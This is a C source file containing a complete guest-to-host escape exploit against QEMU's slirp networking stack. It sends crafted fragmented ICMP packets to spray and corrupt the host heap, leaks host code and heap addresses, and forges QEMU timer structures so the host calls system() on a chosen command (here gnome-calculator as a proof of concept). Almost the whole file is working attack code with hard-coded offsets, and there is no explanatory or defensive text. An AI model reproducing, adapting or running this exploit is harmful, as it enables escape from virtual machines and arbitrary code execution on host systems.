#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define die(x) do { \ perror(x); \ exit(EXIT_FAILURE); \ }while(0); // * * * * * * * * * * * * * * * Constans * * * * * * * * * * * * * * * * * * #define SRC_ADDR "10.0.2.15" #define DST_ADDR "10.0.2.2" #define INTERFACE "ens3" #define ETH_HDRLEN 14 // Ethernet header length #define IP4_HDRLEN 20 // IPv4 header length #define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data #define MIN_MTU 12000 // * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * * #define SYSTEM_PLT 0x029b290 #define QEMU_CLOCK 0x10e8200 #define QEMU_TIMER_NOTIFY_CB 0x2f4bff #define MAIN_LOOP_TLG 0x10e81e0 #define CPU_UPDATE_STATE 0x488190 // Some place in bss which is not used to craft fake stucts #define FAKE_STRUCT 0xf43360 // * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * * struct mbuf { struct mbuf *m_next; /* Linked list of mbufs */ struct mbuf *m_prev; struct mbuf *m_nextpkt; /* Next packet in queue/record */ struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */ int m_flags; /* Misc flags */ int m_size; /* Size of mbuf, from m_dat or m_ext */ struct socket *m_so; char * m_data; /* Current location of data */ int m_len; /* Amount of data in this mbuf, from m_data */ void *slirp; char resolution_requested; u_int64_t expiration_date; char *m_ext; /* start of dynamic buffer area, must be last element */ char * m_dat; }; struct QEMUTimer { int64_t expire_time; /* in nanoseconds */ void *timer_list; void *cb; void *opaque; void *next; int scale; }; struct QEMUTimerList { void * clock; char active_timers_lock[0x38]; struct QEMUTimer *active_timers; struct QEMUTimerList *le_next; /* next element */ \ struct QEMUTimerList **le_prev; /* address of previous next element */ \ void *notify_cb; void *notify_opaque; /* lightweight method to mark the end of timerlist's running */ size_t timers_done_ev; }; // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * int raw_socket; int recv_socket; int spray_id; int idx; char mac[6]; void * code_leak; void * heap_leak; void *Malloc(size_t size) { void * ptr = calloc(size,1); if (!ptr) { die("malloc() failed to allocate"); } return ptr; } unsigned short in_cksum(unsigned short *ptr,int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } void hex_dump(char *desc, void *addr, int len) { int i; unsigned char buff[17]; unsigned char *pc = (unsigned char*)addr; if (desc != NULL) printf ("%s:\n", desc); for (i = 0; i < len; i++) { if ((i % 16) == 0) { if (i != 0) printf(" %s\n", buff); printf(" %04x ", i); } printf(" %02x", pc[i]); if ((pc[i] < 0x20) || (pc[i] > 0x7e)) { buff[i % 16] = '.'; } else { buff[i % 16] = pc[i]; } buff[(i % 16) + 1] = '\0'; } while ((i % 16) != 0) { printf(" "); i++; } printf(" %s\n", buff); } char * ethernet_header(char * eth_hdr){ /* src MAC : 52:54:00:12:34:56 */ memcpy(ð_hdr[6],mac,6); // Next is ethernet type code (ETH_P_IP for IPv4). // http://www.iana.org/assignments/ethernet-numbers eth_hdr[12] = ETH_P_IP / 256; eth_hdr[13] = ETH_P_IP % 256; return eth_hdr; } void ip_header(struct iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len, u_int8_t protocol,u_int16_t id,uint16_t frag_off){ /* rfc791 */ ip->ihl = IP4_HDRLEN / sizeof (uint32_t); ip->version = 4; ip->tos = 0x0; ip->tot_len = htons(IP4_HDRLEN + payload_len); ip->id = htons(id); ip->ttl = 64; ip->frag_off = htons(frag_off); ip->protocol = protocol; ip->saddr = src_addr; ip->daddr = dst_addr; ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN); } void icmp_header(struct icmphdr *icmp, char *data, size_t size) { /* rfc792 */ icmp->type = ICMP_ECHO; icmp->code = 0; icmp->un.echo.id = htons(0); icmp->un.echo.sequence = htons(0); if (data) { char * payload = (char * )icmp+ ICMP_HDRLEN; memcpy(payload, data, size); } icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size); } void send_pkt(char *frame, u_int32_t frame_length) { struct sockaddr_ll sock; sock.sll_family = AF_PACKET; sock.sll_ifindex = idx; sock.sll_halen = 6; memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t)); if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock, sizeof(sock))<0) die("sendto()"); } void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { u_int32_t src_addr, dst_addr; src_addr = inet_addr(SRC_ADDR); dst_addr = inet_addr(DST_ADDR); char * pkt = Malloc(IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); u_int16_t payload_len = size; ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off); if(data) { char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN; memcpy(payload, data, payload_len); } u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len; send_pkt(pkt,frame_length); free(pkt); } void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { char * pkt = Malloc(IP_MAXPACKET); struct icmphdr * icmp = (struct icmphdr * )(pkt); if(!data) data = Malloc(size); icmp_header(icmp,data,size); u_int32_t len = ICMP_HDRLEN + size; send_ip4(id,len,pkt,frag_off); free(pkt); } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void initialize() { int sd; struct ifreq ifr; char interface[40]; int mtu; srand(time(NULL)); strcpy (interface, INTERFACE); // Submit request for a socket descriptor to look up interface. if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { die("socket() failed to get socket descriptor for using ioctl()"); } // Use ioctl() to get interface maximum transmission unit (MTU). memset (&ifr, 0, sizeof (ifr)); strcpy (ifr.ifr_name, interface); if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) { die("ioctl() failed to get MTU "); } mtu = ifr.ifr_mtu; printf ("MTU of interface %s : %i\n", interface, mtu); if (mtu < MIN_MTU) { printf("Run\n$ ip link set dev %s mtu 12000\n",interface); die(""); } // Use ioctl() to look up interface name and get its MAC address. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) { die("ioctl() failed to get source MAC address "); } memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t)); printf ("MAC %s :", interface); for (int i=0; i<5; i++) { printf ("%02x:", mac[i]); } printf ("%02x\n", mac[5]); // Use ioctl() to look up interface index which we will use to // bind socket descriptor sd to specified interface with setsockopt() since // none of the other arguments of sendto() specify which interface to use. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) { die("ioctl() failed to find interface "); } close (sd); printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex); idx = ifr.ifr_ifindex; if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1) die("socket() failed to obtain raw socket"); /* Bind socket to interface index. */ if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) { die("setsockopt() failed to bind to interface "); } printf("Initialized socket discriptors\n"); } void spray(uint32_t size, u_int32_t count) { printf("Spraying 0x%x x ICMP[0x%x]\n",count,size); int s; u_int16_t frag_off; char * data; for (int i = 0; i < count; i++) { send_icmp(spray_id + i,size, NULL, IP_MF); } } void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size, size_t spray_count) { spray(0x8, spray_count); size_t id = spray_id + spray_count; // Target size_t target_id = id++; send_ip4(target_id, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0x8, NULL, IP_MF); send_ip4(id++, 0x8, NULL, IP_MF); // Piviot Point size_t hole_1 = id++; send_ip4(hole_1, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0xC30, NULL, IP_MF); // For creating hole size_t hole_2 = id++; send_ip4(hole_2, 0x8, NULL, IP_MF); // To prevent consolidation send_ip4(id++, 0x8, NULL, IP_MF); // This should create the fist hole send_ip4(hole_1, 0x8, NULL, 0x1); // This should create the second hole send_ip4(hole_2, 0x8, NULL, 0x1); int m_data_off = -0x70; int m_len = m_data_off; addr = (void *)((size_t)addr + ((m_len * -1) - addrlen)); if (addrlen != 0x8) { m_len -= (0x8 - addrlen); } size_t vuln_id = id++; char * pkt = Malloc(IP_MAXPACKET); memset(pkt,0x0,IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); u_int16_t pkt_len = 0xc90; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; // The mbuf of this packet will be placed in the second hole and // m_ext buff will be placed on the first hole, We will write wrt // to this. send_pkt(pkt,frame_length); memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0x8; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; // Trigger the bug to change target's m_len send_pkt(pkt,frame_length); // Underflow and write, to change m_data char addr_buf[0x8] = {0}; if (addrlen != 0x8) { memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); } else { memcpy(addr_buf,(char *)&addr,8); } send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF); send_ip4(target_id, size, payload, 0x2); hex_dump("Writing Payload ", payload, size); } void recv_leaks(){ /* Prepare recv sd */ /* Submit request for a raw socket descriptor to receive packets. */ int recvsd, fromlen, bytes, status; struct sockaddr from; char recv_ether_frame[IP_MAXPACKET]; struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN); struct icmphdr *recv_icmphdr = (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN); for (;;) { memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t)); memset(&from, 0, sizeof(from)); fromlen = sizeof(from); if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *)&from, (socklen_t *)&fromlen)) < 0) { status = errno; // Deal with error conditions first. if (status == EAGAIN) { // EAGAIN = 11 printf("Time out\n"); } else if (status == EINTR) { // EINTR = 4 continue; // Something weird happened, but let's keep listening. } else { perror("recvfrom() failed "); exit(EXIT_FAILURE); } } // End of error handling conditionals. // Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore // and keep listening. if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) && (recv_iphdr->protocol == IPPROTO_ICMP) && (recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) && (recv_icmphdr->checksum == 0xffff)) { hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes); code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE); size_t *ptr = (size_t *)(recv_ether_frame + 0x30); for (int i = 0; i < (bytes / 0x8); i++) { if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) { heap_leak = (void *)(ptr[i] & 0xffffff000000); break; } } printf("Host Code Leak : %p\n", code_leak); printf("Host Heap Leak : %p\n", heap_leak); break; } } } void leak() { u_int32_t src_addr, dst_addr; src_addr = inet_addr(SRC_ADDR); dst_addr = inet_addr(DST_ADDR); /* Crafting Fake ICMP Packet For Leak */ char * pkt = Malloc(IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN); ethernet_header(pkt); ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF); ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN; ip->id = ntohs(ip->id); ip->frag_off = htons(ip->frag_off); icmp_header(icmp,NULL,0x0); char * data = (char *)icmp + ICMP_HDRLEN + 8; size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN; spray_id = rand() & 0xffff; arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100); // This is same as the arbitrary write function spray_id = rand() & 0xffff; spray(0x8, 0x20); size_t id = spray_id + 0x20; size_t replay_id = id++; send_ip4(replay_id, 0x100, NULL, IP_MF); // Target size_t target_id = id++; send_ip4(target_id, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0x8, NULL, IP_MF); send_ip4(id++, 0x8, NULL, IP_MF); // Piviot Point size_t hole_1 = id++; send_ip4(hole_1, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0xC30, NULL, IP_MF); // For creating hole size_t hole_2 = id++; send_ip4(hole_2, 0x8, NULL, IP_MF); // Prevent Consolidation send_ip4(id++, 0x8, NULL, IP_MF); // This should create the fist hole send_ip4(hole_1, 0x8, NULL, 0x1); // This should create the second hole send_ip4(hole_2, 0x8, NULL, 0x1); // Trigger the bug to change target's m_len int m_data_off = -0xd50; int m_len = m_data_off; size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe + 6) ; size_t addrlen = 0x3; if (addrlen != 0x8) { m_len -= (0x8 - addrlen); } size_t vuln_id = id++; memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0xc90; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; send_pkt(pkt,frame_length); memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0x8; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; send_pkt(pkt,frame_length); // Underflow and write to change m_data char addr_buf[0x8] = {0}; if (addrlen != 0x8) { memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); } else { memcpy(addr_buf,(char *)&addr,8); } send_ip4(target_id, 0x8, addr_buf, 0x1); if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) die("socket() failed to obtain a receive socket descriptor"); send_ip4(replay_id, 0x8, NULL, 0x20); recv_leaks(); char zero[0x28] = {0}; spray_id = rand() & 0xffff; printf("Cleaning Heap\n"); arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20); } void pwn() { char payload[0x200] = {0}; struct QEMUTimerList *tl = (struct QEMUTimerList *)payload; struct QEMUTimer *ts = (struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList)); char cmd[] = "/usr/bin/gnome-calculator"; memcpy((void *)(payload + sizeof(struct QEMUTimerList ) \ +sizeof(struct QEMUTimer )), \ (void *)cmd,sizeof(cmd)); void * fake_timer_list = code_leak + FAKE_STRUCT; void * fake_timer = fake_timer_list + sizeof(struct QEMUTimerList); void *system = code_leak + SYSTEM_PLT; void *cmd_addr = fake_timer + sizeof(struct QEMUTimer); /* Fake Timer List */ tl->clock = (void *)(code_leak + QEMU_CLOCK); *(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000; tl->active_timers = fake_timer; tl->le_next = 0x0; tl->le_prev = 0x0; tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB; tl->notify_opaque = 0x0; tl->timers_done_ev = 0x0000000100000000; /*Fake Timer structure*/ ts->timer_list = fake_timer_list; ts->cb = system; ts->opaque = cmd_addr; ts->scale = 1000000; ts->expire_time = -1; spray_id = rand() & 0xffff; size_t payload_size = sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd); printf("Writing fake structure : %p\n",fake_timer_list); arbitrary_write(fake_timer_list,8,payload,payload_size,0x20); spray_id = rand() & 0xffff; void * main_loop_tlg = code_leak + MAIN_LOOP_TLG; printf("Overwriting main_loop_tlg %p\n",main_loop_tlg); arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20); } int main() { initialize(); leak(); pwn(); return 0; }